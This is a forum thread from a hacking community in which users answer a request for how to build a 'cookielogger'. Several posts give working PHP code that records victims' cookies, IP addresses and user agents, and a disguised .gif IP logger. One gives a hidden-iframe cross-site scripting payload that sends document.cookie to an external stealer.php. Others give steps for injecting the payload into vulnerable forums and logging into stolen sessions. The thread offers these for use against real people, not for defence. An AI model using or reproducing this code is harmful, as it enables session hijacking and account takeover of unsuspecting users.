Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

cookielogger

ghost

0 0

16 years ago

how do you create a cookielogger. I have looked around for tuts and i still can't get it. Can someone explain to me on how to do it?

ghost

0 0

16 years ago

just looks like a paste over of HBH

ghost

0 0

16 years ago

not the article, the site. it looks the same as HBH.

spyware

Banned

0 0

16 years ago

moshbat wrote: Look at what it focuses on.

Don't you mean: look what it doesn't have.

Anyway, the site is kind of a joke. The tags in your article get filtered out.

ghost

0 0

16 years ago

heres what mine looks like


  $date = date(&#39;d/m/y H:i:s&#39; ); //gets date

  $user[&#39;agent&#39;] = $_SERVER[&#39;HTTP_USER_AGENT&#39;]; // get user agent
  $user[&#39;ip&#39;] = $_SERVER[&#39;REMOTE_ADDR&#39;] ? $_SERVER[&#39;REMOTE_ADDR&#39;] :  $_SERVER[&#39;HTTP_X_FORWARDED_FOR&#39;]; //get ip address (will see through most proxies)
  $user[&#39;referer&#39;] = $_SERVER[&#39;HTTP_REFERER&#39;]; //get referer
  $user[&#39;cookie&#39;] = $HTTP_GET_VARS[&#39;cookie&#39;]; //get cookie

  $text = &#39;&lt;br /&gt;&#39; . &#39;------------------------------------------------------------------------------------------------------------&#39; . &#39;&lt;br /&gt;&#39; . &quot;&lt;font size=&#39;+1&#39;&gt;&quot; . $date . &#39;&lt;/font&gt;&#39; . &#39;&lt;br /&gt;&#39; . &#39;&lt;b&gt;User Agent: &lt;/b&gt;&#39; . $user[&#39;agent&#39;] . &#39;&lt;br /&gt;&#39; . &#39;&lt;b&gt;IP Address: &lt;/b&gt;&#39; . $user[&#39;ip&#39;] . &#39;&lt;br /&gt;&#39; . &#39;&lt;b&gt;Referer: &lt;/b&gt;&#39; . $user[&#39;referer&#39;] . &#39;&lt;br /&gt;&#39; . &#39;&lt;b&gt;Cookies: &lt;/b&gt;&#39; . $user[&#39;cookie&#39;];
  $file = fopen( &#39;cookies.htm&#39;, &#39;a&#39; ) or die(&quot; &quot; ); //opens the file, cookies.htm
  fwrite( $file, $text ); //writes the variables file and text to cookies.htm
  fclose( $file ); //closes file
header(&#39;location:http://www.google.com&#39; ) //will put victim to whatever page you want (change google.com)
?&gt;```
the code is a little messy but it works really well

ghost

0 0

16 years ago

moshbat wrote: Would that work getting the cookie if the user has just come from another site?

Yeah as long as you add the .php?cookie=" then +document.cookie; at the end. What that does is it takes the current document.cookie, and forwards it to your PHP as the $cookie variable.

&lt;?php
putenv(&quot;TZ=GMT+1&quot;);
function clean ($var)
{
return htmlspecialchars($var);
}
$ip = clean($_SERVER[&#39;REMOTE_ADDR&#39;]);
$ref = clean($_SERVER[&#39;HTTP_REFERER&#39;]);
$time = time();
$readable_time = date(&quot;Y&#92;-m&#92;-d&#92;, H&#92;:i&quot;); 
$entry = &quot;|&lt;u&gt;$time ($readable_time)&lt;/u&gt;| &lt;b&gt;IP:&lt;/b&gt; $ip, &lt;b&gt;Ref:&lt;/b&gt; $ref&lt;br /&gt; &#92;r&#92;n&quot;;

$fp = fopen(&#39;iplog.html&#39;, &quot;a&quot;) or die(&#39;Cannot open logfile&#39;);
fwrite($fp, $entry);
fclose($fp);

$file = &quot;imagesource.gif&quot;;
$fp = fopen($file, &quot;r&quot;) or die(&#39;Cannot grab image source&#39;);
$content = fread($fp, filesize($file));
header(&quot;Content-type: image/gif&quot;);
echo $content;
fclose($fp);
?&gt;

Like this little snippet of code, you just throw in imagesource.gif, a .htaccess with:

AddHandler application/x-httpd-php .gif

And name the PHP file to whatever.gif and voila, you can link forums with that image and log information. Extremely skiddish but kinda fun/useful at times.

Edit: THis whole post is a mess sry LOL I was trying to say 2 things at once, the image one CAN'T GET COOKIES, you need to be redirected from site A to cookie stealer to get cookies. Sorry if I confused anyone :p

ghost

0 0

16 years ago

So you don't get there passwords or anything?

ghost

0 0

16 years ago

silent_assassin wrote: So you don't get there passwords or anything?

You take the cookie and inject it into your own and it logs you into the account. From there you can find out passwords, change them change anything etc.

ghost

0 0

16 years ago

Btw my post wasn't even a cookie logger, though it could VERY easily be made one it was another method for getting some other forms of information. Actually I have no fucking clue why I posted it. A big:

To me :|

ghost

0 0

16 years ago

Eh shit happens..

So i did it to myself on another computer. Now how do i inject it..

ghost

0 0

16 years ago

Another way to use the stealer is to use iframes so something like this

&lt;iframe src=&#39;http://www.site.com/stealer.php?=&#39; +document.cookie height=&#39;0&#39; width=&#39;0&#39;&gt;&lt;/iframe&gt;

This way the victim would not see anything weird happen and would not get redirected or anything.

to inject it you would need to find a vulnerability in a site so for example, if a site was: www.site.com/?action=bluh you would change bluh to the code i just wrote. if the site is vulnerable then the code will run and you would just need some one to click on www.site.com/?action=<iframe src='site.com/stealer.php?=' + document.cookie height='0' width='0'></iframe>

Another way is to to directly put the code on a site that uses $_POST or $_GET. So if a forum was vulnerable you would just put the code in the message part and submit it. However, many sites will filter tags so it can be annoying to find an exploit.

ghost

0 0

16 years ago

silent_assassin wrote: Eh shit happens..

So i did it to myself on another computer. Now how do i inject it..

By injecting javascript using HTML (script tags) into a page (gotta find an input that doesn't filter HTML out), and then use javascript to redirect the person on the page to your cookie stealer. Basically, use any form field where you can input data (sometimes in the URL bar) to this:

ghost

0 0

16 years ago

ok i got this from cookielogging

<br /><font size='+1'>28/04/08 23:34:23</font><br /><b>User Agent: </b>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14<br /><b>IP Address: </b>66.41.188.12<br /><b>Referer: </b>http://z11.invisionfree.com/yesyesyes/index.php?showuser=1<br /><b>Cookies: </b

Can someone explain to me again what i should do…

sorry about all of this.